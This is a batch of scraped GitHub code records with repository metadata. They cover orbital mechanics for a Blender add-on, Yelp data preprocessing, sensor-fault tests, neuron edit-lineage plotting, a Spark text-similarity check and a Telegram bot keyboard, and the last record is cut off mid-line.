self.findinrange(coord, radius, new_indexes, level +1) #haetaan myäs seuraavasta dimensiosta, annetaan myäs täällä läytyneet\n        else: #mikäli ollaan viimeisessä dimensiossa\n            final = []\n            co1 = numpy.array(coord)\n            for i in new_indexes: #käydään läpi läydetyt pisteet\n                if  (sum((co1-numpy.array(self._maindict[i]))**2))**0.5 <= radius: #etäisyystesti\n                    final.append(i)\n            return final\n\n", "repo_name": "medchemfi/sdfconf", "sub_path": "src/sdfconf/findable.py", "file_name": "findable.py", "file_ext": "py", "file_size_in_byte": 3908, "program_lang": "python", "lang": "fi", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "78", "api": [{"api_name": "sdfconf.sdf.Sdfmole", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sdfconf.sdf", "line_number": 27, "usage_type": "name"}, {"api_name": "sdfconf.mol2.Mol2Mol", "line_number": 27, "usage_type": "attribute"}, {"api_name": "sdfconf.mol2", "line_number": 27, "usage_type": "name"}, {"api_name": "collections.OrderedDict", "line_number": 36, "usage_type": "call"}, {"api_name": "bisect.bisect_right", "line_number": 53, "usage_type": "call"}, {"api_name": "bisect.bisect_left", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 67, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}]}
{"seq_id": "74362072263", "text": "import json\n\nusers = set()\nfriends = set()\n\nfor i in range(1, 8):\n    data = [json.loads(line) for line in open('../raw.nosync/yelp_dataset/user/user' + str(i) + '.json', 'r')]\n    for d in data:\n        users.add(d['user_id'])\n        if d['friends'] is not None:\n            friends |= set(d['friends'].split(', '))\n\n\n# print(len(users))\n# print(len(friends))\n# print(len(friends - users))\nwithout = friends - users\n\nwith open('../raw.nosync/usersWithInfo.txt', 'w') as f:\n    for a in users:\n        f.write(a + '\\n')\n\nwith open('../raw.nosync/usersAll.txt', 'w') as f:\n    for a in friends:\n        f.write(a + '\\n')\n\nwith open('../raw.nosync/usersWithoutInfo.txt', 'w') as f:\n    for a in without:\n        f.write(a + '\\n')", "repo_name": "Tiankai-Jiang/Yelp-Dataset", "sub_path": "01_preprocessing/01_userIDToFile.py", "file_name": "01_userIDToFile.py", "file_ext": "py", "file_size_in_byte": 728, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "json.loads", "line_number": 7, "usage_type": "call"}]}
{"seq_id": "37027884455", "text": "# ##### BEGIN GPL LICENSE BLOCK #####\n#\n#  This program is free software; you can redistribute it and/or\n#  modify it under the terms of the GNU General Public License\n#  as published by the Free Software Foundation; either version 2\n#  of the License, or (at your option) any later version.\n#\n#  This program is distributed in the hope that it will be useful,\n#  but WITHOUT ANY WARRANTY; without even the implied warranty of\n#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n#  GNU General Public License for more details.\n#\n#  You should have received a copy of the GNU General Public License\n#  along with this program; if not, write to the Free Software Foundation,\n#  Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n# <pep8 compliant>\n\nfrom math import pi, sin, cos, acos, sqrt\nimport bpy\nfrom mathutils import Vector, Euler\n\nG = 6.673e-11  # Gravitational constant\n\n\ndef orbital_period(axis, mass1, mass2):\n    \"\"\"Calc the orbital period\n\n    axis = length of the semi-major-axis in kilometers\n    mass1, mass2 = Mass of the two bodies in kg\n    return the orbital period in seconds.\n    \"\"\"\n    axis *= 1000  # meter = kilometer * 1000\n\n    return sqrt((4 * pi ** 2 * axis ** 3) / (G * (mass1 + mass2)))\n\n\ndef true_anomaly(time, period, ecc=0, time_offset=0):\n    \"\"\"Calc the true anomaly (the angle since the nearest point of the orbit)\n\n    time = time in seconds\n    period = Orbital Period in seconds\n    ecc = eccentricity of the orbit, ecc = 0: circular, 0 < ecc < 1: elliptical\n    time_offset = offset of the initial angle, in range 0 - 1,\n                  offset * period = starting time in seconds if time=0\n    return angle between 0 and 2pi.\n    \"\"\"\n    if period == 0:\n        # planet cannot have an orbit\n        # => return static position dependent on offset\n        return 2 * pi * time_offset\n\n    # mean anomaly = \"angle\" travelled, in range 0 - 2*pi\n    mean_anomaly = 2 * pi * (((time / period) + time_offset) % 1)\n\n    if ecc == 0:\n        # circle, no fancy stuff here\n        return mean_anomaly\n\n    # the true anomaly is the \"angle\" travelled (as seen from center)\n    # since the nearest point (periapsis) of the orbit\n\n    # mean_anomaly (in rad)-> eccentric anomaly (rad)-> true anomaly (rad)\n    # calculate the eccentric anomaly according to a formular found at\n    # http://www-spof.gsfc.nasa.gov/stargaze/Smotion.htm\n    eccentric_anomaly = mean_anomaly\n    ecc_old = 0\n    while abs(ecc_old - eccentric_anomaly) > 1e-10:  # precision = 10 digits\n        ecc_old = eccentric_anomaly\n        eccentric_anomaly = mean_anomaly + ecc * sin(ecc_old)\n\n    # calculate the true anomaly\n    # formular from http://en.wikipedia.org/wiki/True_anomaly\n    t_0 = cos(eccentric_anomaly) - ecc\n    t_1 = 1 - ecc * cos(eccentric_anomaly)\n    angle = acos(t_0 / t_1)  # true anomaly in range: 0 - pi\n\n    if mean_anomaly > pi:\n        # we are on the other side (angle > 180) of the circle\n        angle = 2 * pi - angle  # range: 0 - 2*pi\n\n    return angle\n\n\ndef orbit_position(simorbit, simscn, time):\n    \"\"\"Calculate the position of the planet in the xy-plane\"\"\"\n    # sma = (to BU adjusted) semi_major_axis\n    sma = simorbit.semi_major_axis / simscn.length_mult\n\n    # eccentricity = more circular (small e) or more elliptical (bigger e)\n    ecc = simorbit.eccentricity\n\n    # orbital period = time to complete one orbit\n    period = simorbit.orbital_period\n\n    time_offset = simorbit.time_offset\n\n    # calculate the position\n    theta = true_anomaly(time, period, ecc, time_offset)\n    if ecc == 0:\n        # circular orbit, distance is constant\n        dist = sma\n    else:\n        # elliptical orbit, dist = distance from sun (in BU)\n        # from http://www-spof.gsfc.nasa.gov/stargaze/Smotion.htm\n        dist = sma * (1 - ecc ** 2) / (1 + ecc * cos(theta))\n\n    pos_x = cos(theta) * dist\n    pos_y = sin(theta) * dist\n    pos_z = 0\n    position = Vector((pos_x, pos_y, pos_z))\n\n    return position\n\n\ndef orbit_orientation(other, simorbit):\n    \"\"\"Rotates a mathutils value (Vector, Euler, ...) using orbital elements.\n\n    simorbit contains the needed information,\n    return a (rotated) Vector or Euler.\n    \"\"\"\n    inc = simorbit.inclination\n    asc_node = simorbit.asc_node\n    arg_periapsis = simorbit.arg_periapsis\n\n    # rotate mathutils value around global z axis (argument of periapsis)\n    other.rotate(Euler((0, 0, arg_periapsis)))\n\n    # rotate around the global x axis by (inclination)\n    other.rotate(Euler((inc, 0, 0)))\n\n    # rotate around global z again (rotate the ascending node)\n    other.rotate(Euler((0, 0, asc_node)))\n\n    return other\n\n\n# =============================================================================\n# Driver functions\n# =============================================================================\ndef eval_planet_orbit(obj, scn_name, index=None, time=None):\n    \"\"\"Evaluate the planets position, used by driver.\n\n    obj = object to be simulated\n    sssim_scn = scene data\n    index = index of the location channel\n    time = time when to calculate, if not given use current scene time\n            time is in seconds of the simulation\n    returns a 3-tuple with xyz-locations or, if index given, only one component\n    \"\"\"\n    simorbit = obj.sssim_orbit\n    scn = bpy.data.scenes.get(scn_name)\n    if not scn:\n        errmsg = \"DRIVER ERROR: Invalid scene name {}\"\n        print(errmsg.format(scn_name))\n        return 0\n    sssim_scn = scn.sssim_scn\n\n    # time = time for which to calculate the planet position, in seconds\n    if time is None:\n        time = sssim_scn.time\n\n    planet_loc = orbit_position(simorbit, sssim_scn, time)\n    orbit_rot = orbit_orientation(planet_loc, simorbit)\n\n    return orbit_rot if index is None else orbit_rot[index]\n\n\ndef eval_planet_rotation(obj, scn_name, index=None, time=None):\n    \"\"\"Evaluate the planets rotation, used by driver.\n\n    scn_name = Name of a scene which contains the object\n    obj_name = Name of the object to simulate\n    index = index of the rotation channel,\n            usually only z-axis (index=2) changes\n    time = time when to calculate, if not given use current scene time\n            time is in seconds of the simulation\n    returns an Euler in mode ZYX or, if index given, an angle in radians\n    \"\"\"\n    simrot = obj.sssim_rotation\n    scn = bpy.data.scenes.get(scn_name)\n    if not scn:\n        errmsg = \"DRIVER ERROR: Invalid scene name {}\"\n        print(errmsg.format(scn_name))\n        return 0\n    sssim_scn = scn.sssim_scn\n\n    # time = time in seconds, if None use current scene time\n    if time is None:\n        time = sssim_scn.time\n\n    # rotation_period is also in seconds\n    rotation_period = simrot.rotation_period\n    if rotation_period != 0:\n        rot_z = 2 * pi * time / rotation_period\n    else:\n        # invalid input -> no rotation\n        rot_z = 0\n\n    tilt = simrot.axis_tilt\n    planet_rot = Euler((tilt, 0.0, 0.0), 'ZYX')  # note that mode is 'ZYX'\n\n    # rotate around global (not local) z-axis\n    direction = simrot.axis_direction\n    planet_rot.rotate(Euler((0.0, 0.0, direction), 'XYZ'))\n\n    # rotate around local z-axis\n    # NOTE: we won't use planet_rot.rotate_axis('Z', rot_z) because then\n    # all rotations are between -180 and 180 and for the rotation around\n    # z we need a continous motion with increasing z values\n    planet_rot.z += rot_z\n\n    if simrot.relative_to_orbit and obj.sssim_obj.object_type == 'PLANET':\n        planet_rot = orbit_orientation(planet_rot, obj.sssim_orbit)\n\n    return planet_rot if index is None else planet_rot[index]\n", "repo_name": "markus-ebke/SolarSystemSimulator", "sub_path": "solar_system_simulator/calculation.py", "file_name": "calculation.py", "file_ext": "py", "file_size_in_byte": 7623, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 21, "dataset": "github-code", "pt": "81", "api": [{"api_name": "math.sqrt", "line_number": 37, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 37, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 53, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 56, "usage_type": "name"}, {"api_name": "math.sin", "line_number": 72, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 76, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 77, "usage_type": "call"}, {"api_name": "math.acos", "line_number": 78, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 80, "usage_type": "name"}, {"api_name": "math.pi", "line_number": 82, "usage_type": "name"}, {"api_name": "math.cos", "line_number": 108, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 110, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 111, "usage_type": "call"}, {"api_name": "mathutils.Vector", "line_number": 113, "usage_type": "call"}, {"api_name": "mathutils.Euler", "line_number": 129, "usage_type": "call"}, {"api_name": "mathutils.Euler", "line_number": 132, "usage_type": "call"}, {"api_name": "mathutils.Euler", "line_number": 135, "usage_type": "call"}, {"api_name": "bpy.data.scenes.get", "line_number": 154, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 154, "usage_type": "attribute"}, {"api_name": "bpy.data.scenes.get", "line_number": 183, "usage_type": "call"}, {"api_name": "bpy.data", "line_number": 183, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 197, "usage_type": "name"}, {"api_name": "mathutils.Euler", "line_number": 203, "usage_type": "call"}, {"api_name": "mathutils.Euler", "line_number": 207, "usage_type": "call"}]}
{"seq_id": "17340433596", "text": "import copy\n\nimport numpy as np\nimport pytest\nfrom sox.sensor import Drift, Normal, Offset, Scaling, Sensor, StuckAt\n\nSEED = 123\n\n\n@pytest.fixture\ndef time():\n    return np.linspace(0, 10, 100).tolist()\n\n\n@pytest.fixture\ndef data(time):\n    return np.ones_like(time).tolist()\n\n\n@pytest.fixture\ndef faults():\n    return [\n        Offset(offset=0.1, start_time=1, stop_time=2),\n        Scaling(scale=2, start_time=3, stop_time=4),\n        Drift(rate=0.1, start_time=5, stop_time=6),\n        StuckAt(value=0, start_time=7, stop_time=8),\n    ]\n\n\n@pytest.fixture\ndef data_with_faults(time, data, faults):\n    data_with_faults = []\n    for t, d in zip(time, data):\n        for fault in faults:\n            d = fault.apply(t, d)\n        data_with_faults.append(d)\n    return data_with_faults\n\n\ndef test_default_sensor(time, data):\n    sensor = Sensor(name=\"default\", time=time, data=data)\n\n    sensor_data = []\n    try:\n        while True:\n            sensor_data.append(sensor.read())\n    except IndexError as e:\n        print(e)\n    assert sensor_data == data\n\n\ndef test_sensor_with_faults(time, data, faults, data_with_faults):\n    sensor = Sensor(name=\"faulty\", time=time, data=data, faults=faults)\n\n    sensor_data = []\n    try:\n        while True:\n            sensor_data.append(sensor.read())\n    except IndexError as e:\n        print(e)\n    assert sensor_data == data_with_faults\n", "repo_name": "ahemmatifar/sox", "sub_path": "tests/sox/sensor/test_sensor.py", "file_name": "test_sensor.py", "file_ext": "py", "file_size_in_byte": 1381, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.linspace", "line_number": 12, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 10, "usage_type": "attribute"}, {"api_name": "numpy.ones_like", "line_number": 17, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 15, "usage_type": "attribute"}, {"api_name": "sox.sensor.Offset", "line_number": 23, "usage_type": "call"}, {"api_name": "sox.sensor.Scaling", "line_number": 24, "usage_type": "call"}, {"api_name": "sox.sensor.Drift", "line_number": 25, "usage_type": "call"}, {"api_name": "sox.sensor.StuckAt", "line_number": 26, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 20, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 30, "usage_type": "attribute"}, {"api_name": "sox.sensor.Sensor", "line_number": 41, "usage_type": "call"}, {"api_name": "sox.sensor.Sensor", "line_number": 53, "usage_type": "call"}]}
{"seq_id": "7721961781", "text": "# %%\nfrom itertools import pairwise\n\nimport caveclient as cc\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport seaborn as sns\nfrom anytree import Node, Walker\nfrom anytree.iterators import PreOrderIter\nfrom requests import HTTPError\nfrom tqdm.autonotebook import tqdm\nimport pcg_skel\nimport skeleton_plot\n\n# %%\n\nclient = cc.CAVEclient(\"minnie65_phase3_v1\")\n\n# %%\nroot_id = 864691135867734294\n\n# %%\n\n\ndef reroot(root_id):\n    new_roots = client.chunkedgraph.get_latest_roots(root_id)\n    if len(new_roots) > 1:\n        raise ValueError(\"More than one current root found!\")\n\n    root_id = new_roots[0]\n    return root_id\n\n\nroot_id = reroot(root_id)\n\n\n# %%\n\n\ndef create_lineage_tree(root_id, order=\"edits\"):\n    lineage = client.chunkedgraph.get_lineage_graph(root_id)\n    links = lineage[\"links\"]\n\n    nodes = {}\n    for link in links:\n        source = link[\"source\"]\n        target = link[\"target\"]\n        if source not in nodes:\n            nodes[source] = Node(source)\n        if target not in nodes:\n            nodes[target] = Node(target)\n\n        # if nodes[source].parent is not None:\n        #     raise ValueError(f\"Node {source} has multiple parents!\")\n\n        nodes[source].parent = nodes[target]\n\n    root = nodes[target].root\n\n    for node in PreOrderIter(root):\n        # make the left-hand side of the tree be whatever side has the most children\n        if order == \"edits\":\n            node._order_value = len(node.descendants)\n        elif order == \"l2_size\":\n            node._order_value = len(\n                client.chunkedgraph.get_leaves(node.name, stop_layer=2)\n            )\n        else:\n            raise ValueError(f\"Unknown order: {order}\")\n\n    # reorder the children of each node by the values\n    for node in PreOrderIter(root):\n        children_order_value = np.array([child._order_value for child in node.children])\n        inds = np.argsort(-children_order_value)\n        node.children = [node.children[i] for i in inds]\n\n    return root\n\n\nroot = create_lineage_tree(root_id, order=\"l2_size\")\n\n# %%\n\n\ndef compute_skeleton(name):\n    try:\n        skeleton = pcg_skel.coord_space_skeleton(name, client)\n        return skeleton\n    except HTTPError:\n        print(\"HTTPError on node\", name)\n        return None\n\n\ndef compute_lineage_skeletons(root):\n    # get skeletons for each node in the lineage\n    pbar = tqdm(total=len(root.descendants) + 1)\n\n    skeletons = {}\n    for i, node in enumerate(PreOrderIter(root)):\n        skeletons[node.name] = compute_skeleton(node.name)\n        pbar.update(1)\n    pbar.close()\n    return skeletons\n\n\n# skeletons = compute_lineage_skeletons(root)\n\n# %%\n\n\n# recursively set the span (non-depth position) of each node\n# visually it looks ok to have this just be the mean of the children's span positions\n\n\ndef set_span_position(node):\n    # set some starting positions for the leaf nodes to anchor everything else\n    if node.is_root:\n        i = 0\n        for _node in PreOrderIter(node):\n            if _node.is_leaf:\n                _node._span_position = i\n                i += 1\n\n    if node.is_leaf:\n        return node._span_position\n    else:\n        child_positions = [set_span_position(child) for child in node.children]\n        min_position = np.min(child_positions)\n        max_position = np.max(child_positions)\n        node._span_position = (min_position + max_position) / 2\n        return node._span_position\n\n\ndef plot_edit_lineage(\n    root,\n    skeletons=None,\n    ax=None,\n    figsize=(6, 6),\n    palette=\"Set1\",\n    node_size=20,\n    edge_linewidth=1.5,\n    skeleton_linewidth=0.25,\n    clean_axis=True,\n):\n    set_span_position(root)\n\n    if ax is None:\n        _, ax = plt.subplots(1, 1, figsize=figsize)\n\n    if isinstance(palette, str):\n        colors = sns.color_palette(palette)\n        palette = dict(zip([0, 1, 2], colors))\n    # else, assumed to be a dict mapping 0,1,2 to colors\n\n    # plot dots for the nodes themselves, colored by what process spawned them\n    for node in PreOrderIter(root):\n        color = palette[len(node.children)]\n        ax.scatter(node._span_position, node.depth, color=color, s=node_size, zorder=1)\n\n    # plot lines to denote the edit structure, colored by the process (merge/split)\n    visited = set()\n    for leaf in root.leaves:\n        walker = Walker()\n        path, _, _ = walker.walk(leaf, root)\n        path = list(path) + [root]\n        for source, target in pairwise(path):\n            if (source, target) not in visited:\n                color = palette[len(target.children)]\n                ax.plot(\n                    [source._span_position, target._span_position],\n                    [source.depth, target.depth],\n                    color=color,\n                    linewidth=edge_linewidth,\n                    zorder=0,\n                )\n                visited.add((source, target))\n\n    if clean_axis:\n        ax.spines[[\"left\", \"right\", \"top\", \"bottom\"]].set_visible(False)\n        ax.set_xticks([])\n        ax.set_yticks([])\n        ax.set_xlabel(\"\")\n        ax.set_ylabel(\"\")\n\n    if skeletons is not None:\n\n        def plot_skeleton(node, position=\"above\"):\n            if isinstance(skeletons, dict):\n                if node.name in skeletons:\n                    skeleton = skeletons[node.name]\n            else:\n                try:\n                    skeleton = compute_skeleton(node.name)\n                except AssertionError:\n                    print(node.name, \"failed\")\n\n            if skeleton is not None:\n                if position == \"above\":\n                    inset_ax = ax.inset_axes(\n                        [node._span_position - 0.5, node.depth + 0.5, 1, 2],\n                        transform=ax.transData,\n                    )\n                elif position == \"below\":\n                    inset_ax = ax.inset_axes(\n                        [node._span_position - 0.5, node.depth - 2.5, 1, 2],\n                        transform=ax.transData,\n                    )\n                skeleton_plot.plot_tools.plot_skel(\n                    skeleton,\n                    ax=inset_ax,\n                    plot_soma=False,\n                    invert_y=True,\n                    line_width=skeleton_linewidth,\n                    color=\"black\",\n                )\n                inset_ax.axis(\"off\")\n\n        for node in root.leaves:\n            plot_skeleton(node, position=\"above\")\n\n        for node in PreOrderIter(root):\n            # find split nodes which are then merged\n            if node.parent is not None:\n                if (len(node.children) == 1) and (len(node.parent.children) == 2):\n                    plot_skeleton(node, position=\"below\")\n\n        plot_skeleton(root, position=\"below\")\n\n    return ax\n\n\n# %%\nplot_edit_lineage(root, skeletons=True)\n\nfrom pathlib import Path\n\nsave_path = Path(\"cave-explorer/results/figs\")\nplt.savefig(save_path / f\"lineage_tree_root={root.name}.png\", dpi=300)\n\n# %%\n\nmeta = client.materialize.query_table(\"allen_v1_column_types_slanted_ref\")\nnuc = client.materialize.query_table(\"nucleus_detection_v0\").set_index(\"id\")\n\n# %%\ntarget_id = meta.iloc[26][\"target_id\"]\nroot_id = nuc.loc[target_id][\"pt_root_id\"]\nlatest = client.chunkedgraph.get_latest_roots(root_id)\nassert len(latest) == 1\nroot_id = latest[0]\n\nroot = create_lineage_tree(root_id, order=\"edits\")\nplot_edit_lineage(root, skeletons=True, node_size=5, edge_linewidth=0.2)\nplt.savefig(save_path / f\"lineage_tree_root={root.name}.png\", dpi=300)\n\n# %%\npcg_skel.coord_space_skeleton(864691134876998589, client)\n", "repo_name": "bdpedigo/skedits", "sub_path": "experiments/delta_trees.py", "file_name": "delta_trees.py", "file_ext": "py", "file_size_in_byte": 7495, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "caveclient.CAVEclient", "line_number": 17, "usage_type": "call"}, {"api_name": "anytree.Node", "line_number": 49, "usage_type": "call"}, {"api_name": "anytree.Node", "line_number": 51, "usage_type": "call"}, {"api_name": "anytree.iterators.PreOrderIter", "line_number": 60, "usage_type": "call"}, {"api_name": "anytree.iterators.PreOrderIter", "line_number": 72, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 73, "usage_type": "call"}, {"api_name": "numpy.argsort", "line_number": 74, "usage_type": "call"}, {"api_name": "pcg_skel.coord_space_skeleton", "line_number": 87, "usage_type": "call"}, {"api_name": "requests.HTTPError", "line_number": 89, "usage_type": "name"}, {"api_name": "tqdm.autonotebook.tqdm", "line_number": 96, "usage_type": "call"}, {"api_name": "anytree.iterators.PreOrderIter", "line_number": 99, "usage_type": "call"}, {"api_name": "anytree.iterators.PreOrderIter", "line_number": 119, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 129, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 148, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 148, "usage_type": "name"}, {"api_name": "seaborn.color_palette", "line_number": 151, "usage_type": "call"}, {"api_name": "anytree.iterators.PreOrderIter", "line_number": 156, "usage_type": "call"}, {"api_name": "anytree.Walker", "line_number": 163, "usage_type": "call"}, {"api_name": "itertools.pairwise", "line_number": 166, "usage_type": "call"}, {"api_name": "skeleton_plot.plot_tools.plot_skel", "line_number": 208, "usage_type": "call"}, {"api_name": "skeleton_plot.plot_tools", "line_number": 208, "usage_type": "attribute"}, {"api_name": "anytree.iterators.PreOrderIter", "line_number": 221, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 237, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 238, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 238, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.savefig", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "pcg_skel.coord_space_skeleton", "line_number": 257, "usage_type": "call"}]}
{"seq_id": "29222693435", "text": "import atexit\nimport difflib\nimport pyspark\nimport os\nimport sys\n\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql.functions import udf\nfrom pyspark.sql.types import StructField, StructType, StringType\nfrom collections import namedtuple\n\n\nsource_id = sys.argv[1]\nanalysis_repository_path = \"hdfs://10.40.71.55:9000/group3/data.parquet\"\n\n\ndef precise_analysis(file):\n    return difflib.SequenceMatcher(None, source, file).ratio()\n\n\ndef quick_analysis(file):\n    return difflib.SequenceMatcher(None, source, file).quick_ratio()\n\n\ndef get_diff(file):\n    return str(difflib.SequenceMatcher(None, source, file).get_matching_blocks())\n\n\ndef read_source():\n    # extracting file content\n    source_df = spark.read.parquet(\"hdfs://10.40.71.55:9000/group3/sources.parquet\")\n    source_df = source_df.filter(source_df[\"FileId\"] == source_id)\n\n    return source_df.collect()[0][\"FileContent\"]\n\n\ndef get_spark_session():\n    spark_context = pyspark.SparkContext.getOrCreate(\n        pyspark.SparkConf() \\\n            .setMaster(\"spark://10.40.71.55:7077\") \\\n            .setAppName(\"rsww3_analysis\") \\\n            .set(\"spark.executor.memory\", \"4096m\") \\\n            .set(\"spark.driver.port\", os.environ.get(\"SPARK_DRIVER_PORT\")) \\\n            .set(\"spark.ui.port\", os.environ.get(\"SPARK_UI_PORT\")) \\\n            .set(\"spark.blockManager.port\", os.environ.get(\"SPARK_BLOCKMANAGER_PORT\")) \\\n            .set(\"spark.driver.host\", \"10.40.71.55\") \\\n            .set(\"spark.driver.bindAddress\", \"0.0.0.0\")\n    )\n    spark = SparkSession.builder.config(conf=spark_context.getConf()).getOrCreate()\n    \n    return spark\n\n\ndef perform_analysis():\n    df = spark.read.schema(schema).parquet(analysis_repository_path)\n    df = df.withColumn(\"diff_quick\", quick_analysis_udf(df[\"FileContent\"]))\n    df = df.filter(df[\"diff_quick\"] > 0.1)\n    df = df.cache()\n    df = df.withColumn(\"diff_exact\", precise_analysis_udf(df[\"FileContent\"]))\n    df = df.filter(df[\"diff_exact\"] > 0.1)\n    df = df.withColumn(\"reversed\", 1.0 / df[\"diff_exact\"])\n    df = df.cache()\n    count = df.count()\n\n    result = df.groupBy().sum(\"reversed\").collect()[0]\n\n    return count / float(result[\"sum(reversed)\"])\n\n\n# defining udfs\nprecise_analysis_udf = udf(precise_analysis)\nquick_analysis_udf = udf(quick_analysis)\nget_diff_udf = udf(get_diff)\n\nschema = StructType([\n    StructField(\"UserId\", StringType(), True),\n    StructField(\"FileId\", StringType(), True),\n    StructField(\"Repository\", StringType(), True),\n    StructField(\"FileName\", StringType(), True),\n    StructField(\"FileContent\", StringType(), True)\n])\n\ntry:\n    spark = get_spark_session()\nexcept:\n    print(\"-1\")\n    sys.exit()\n\ntry:\n    source = read_source()\n    result = perform_analysis()\n    print(result)\nexcept:\n    print(\"-1\")\nfinally:\n    spark.stop()\n    spark.sparkContext.stop()\n", "repo_name": "therrlupardo/rsww-plagiarism-detector", "sub_path": "app/spark_analysis_scripts/spark_plagiatarism_detection.py", "file_name": "spark_plagiatarism_detection.py", "file_ext": "py", "file_size_in_byte": 2815, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sys.argv", "line_number": 13, "usage_type": "attribute"}, {"api_name": "difflib.SequenceMatcher", "line_number": 18, "usage_type": "call"}, {"api_name": "difflib.SequenceMatcher", "line_number": 22, "usage_type": "call"}, {"api_name": "difflib.SequenceMatcher", "line_number": 26, "usage_type": "call"}, {"api_name": "pyspark.SparkContext.getOrCreate", "line_number": 38, "usage_type": "call"}, {"api_name": "pyspark.SparkContext", "line_number": 38, "usage_type": "attribute"}, {"api_name": "pyspark.SparkConf", "line_number": 39, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 43, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 43, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 44, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 44, "usage_type": "attribute"}, {"api_name": "os.environ.get", "line_number": 45, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 45, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession.builder.config", "line_number": 49, "usage_type": "call"}, {"api_name": "pyspark.sql.SparkSession.builder", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pyspark.sql.SparkSession", "line_number": 49, "usage_type": "name"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 71, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 72, "usage_type": "call"}, {"api_name": "pyspark.sql.functions.udf", "line_number": 73, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructType", "line_number": 75, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 76, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 76, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 77, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 77, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 78, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 78, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 79, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 79, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StructField", "line_number": 80, "usage_type": "call"}, {"api_name": "pyspark.sql.types.StringType", "line_number": 80, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 87, "usage_type": "call"}]}
{"seq_id": "30582224736", "text": "from aiogram.types import InlineKeyboardMarkup,InlineKeyboardButton\nfrom keyboards.inline.callback_data import ahzob_callback_data\n\nahzob_keybord1 = InlineKeyboardMarkup(row_width=4)\n\nbuttons1 = {\n    '1':'1',    '2':'2',\n    '3':'3',    '4':'4',\n    '5':'5',    '6':'6',\n    '7':'7',    \"8\":\"8\",\n    '9':'9',    '10':'10',\n    '11':'11',    '12':'12',\n    '13':'13',    '14':'14',\n    '15':'15',  '16':'16'\n            }\nfor key,value in buttons1.items():\n    tugma = InlineKeyboardButton(text=key,callback_data=ahzob_callback_data.new(items=value))\n    ahzob_keybord1.insert(tugma)\n\nback_button = InlineKeyboardButton(text='ortga',callback_data=ahzob_callback_data.new(items='back1'))\nnext_button = InlineKeyboardButton(text='keyingisi',callback_data=ahzob_callback_data.new(items='next1'))\nahzob_keybord1.insert(back_button)\nahzob_keybord1.insert(next_button)\n\nahzob_keybord2 = InlineKeyboardMarkup(row_width=4)\nbuttons2 = {\n    '17':'17',    '18':'18',\n    '19':'19',    '20':'20',\n    '21':'21',    '22':'22',\n    '23':'23',    '24':'24',\n    '25':'25',    '26':'26',\n    '27':'27',    '28':'28',\n    '29':'29',    '30':'30',\n    '31':'31',      '32':'32'\n}\n\nfor key,value in buttons2.items():\n    tugma = InlineKeyboardButton(text=key,callback_data=ahzob_callback_data.new(items=value))\n    ahzob_keybord2.insert(tugma)\n\nback_button = InlineKeyboardButton(text='ortga',callback_data=ahzob_callback_data.new(items='back2'))\nnext_button = 